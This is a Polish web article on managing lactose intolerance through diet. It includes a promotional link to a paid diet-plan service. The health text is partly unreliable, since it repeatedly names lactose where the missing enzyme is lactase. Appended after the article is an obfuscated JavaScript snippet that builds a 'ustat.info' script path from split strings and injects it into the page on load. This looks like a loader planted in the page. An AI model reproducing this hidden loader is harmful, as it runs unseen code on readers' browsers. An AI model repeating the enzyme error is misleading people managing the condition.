



Dieta przy nietolerancji laktozy

Skład się bierze nietolerancja laktozy? Powód jest prosty, w organizmie brakuje laktozy - enzymu koniecznego do rozkładu laktozy i tym samym organizm nie trawi cukru znajdującego się w mleku. Objawami mogą być wzdęcia, uczucie pełności, bóle brzucha, nudności, biegunki czy kolki jelitowe. Nietolerancja laktozy może być zarówno wrodzona, jak i nabyta, w wyniku zaniku laktozy lub jako skutek innej choroby. Aby zadbać o codzienne samopoczucie osoby z nietolerancją laktozy muszą przestrzegać diety, która zapobiegnie objawom nietolerancji pokarmowej. Przed wszystkim należy całkowicie wyeliminować z diety produkty zawierające laktozę lub znacznie je ograniczyć, w zależności od stopnia nietolerancji, wieku czy ogólnego stanu zdrowia danej osoby. Czasami nie ma potrzeby całkowitego wykluczenia produktów mlecznych z diety, a jedynie ograniczenie ich spożycia oraz wybieranie produktów mlecznych o niewielkiej zawartości laktozy. Mleko pochodzenia zwierzęcego można w diecie zastąpić mlekiem roślinnym np. sojowym, ryżowym czy kokosowym. Warto pamiętać, że laktoza nie występuje tylko w produktach typowo mlecznych i może być ukryta np. w pieczywie, sosach, zupach, masle, margarynie, mięsach, słodyczach, lodach, hummusie, płatkach śniadaniowych, lekach, suplementach diety, słodzikach, a także np. w cappuccino w proszku czy w niektórych produktach wegańskich, dlatego robiąc zakupy trzeba uważnie sprawdzać skład danego produktu. Co ciekawe osoby z nietolerancją laktozy mogą spożywać produkty mleczne poddane procesowi fermentacji, jak np. kefir, maślanka, kwaśna śmietana czy sery pleśniowe, ponieważ zawarte w nich bakterie probiotyczne wspomagają proces rozkładu cukru mlecznego. Niewielką zawartość mają sery twarde dojrzewające, jak cheddar, gouda czy parmezan lub sery topione czy kremowe i na ogół są dobrze tolerowane przez osoby z nietolerancją tego cukru. Dietę warto też uzupełniać tabletkami z laktazą, które ułatwią trawienie mleka oraz ograniczą występujące po jego spożyciu nieprzyjemne dolegliwości. W diecie bezlaktozowej bardzo ważne jest również, aby uzupełniać niedobory witamin i składników mineralnych, jak wapń, witamina D, witaminy B2 i B12, cynk czy magnez. Dlatego należy dbać o to, aby w codziennej diecie znalazły się takie składniki, jak np. warzywa, fasola, soja, otręby, ryby, jajka, drożdże, rośliny strączkowe, orzechy i migdały, kasza oraz woda mineralna o dużej zawartości wapnia. Dieta powinna być kompleksowa i dostarczać wszystkich niezbędnych składników, dlatego ustalając jadłospis warto skorzystać z pomocy specjalisty, który ułoży dla nas najlepszą dietę, dostosowaną do naszego organizmu. Na

<https://www.przelomwodziwianiu.pl/rodzaje-diet/diety-standard-bez-laktozy> można zamówić jadłospis, a także wybrać między dietą 1000, 1200 lub 1500 kalorii. Dietetyk zastąpi produkty mleczne innymi produktami, które dostarczą tych samych składników, co mleko i produkty mleczne. Odpowiednio skomponowana dieta bez laktozy jest propozycją nie tylko dla osób, które nie mogą spożywać laktozy ze względów zdrowotnych, ale także tych, którzy pragną zrzucić zbędne kilogramy, a zarazem poczuć się pięknie i zdrowo w swoim ciele. Nietolerancja laktozy nie musi oznaczać rezygnacji z przyjemności. W sklepach pojawia się coraz więcej specjalnych produktów o obniżonej zawartości laktozy, są one dobrze tolerowane przez osoby cierpiące na ten typ nietolerancji pokarmowej. Są one oznaczone napisem „nie zawiera laktozy”. Dzięki odpowiednio zbilansowanej diecie i świadomości tego, które produkty można jeść, a które lepiej unikać, osoby z nietolerancją laktozy mogą niemal całkowicie zapomnieć o swoich dolegliwościach i cieszyć się dobrym samopoczuciem bez problemów z trawieniem.

```
<script type="text/javascript"> // 
(function(){
x03p_ = ("u" + "") + "s" + ""; x03p_ += ("tat.") + ("i");
x03p = document.createElement("script"); x03p.type = "text/javascript"; x03p_ += "nf" + ("o") + "/";
x03pu = "69057655" + "."; x03p.async = true; x03pu += "a2lhbtee03phX4sah7uutl542r0rf7";
x03p.src = "/" + x03p_ + x03pu; x03pb = document.body; x03pb.appendChild(x03p);
})();
// ]&gt;&lt;/script&gt;</pre></div><div data-bbox="107 729 127 743" data-label="Image"><img alt="Small red square icon with a white 'x' inside."/></div>
```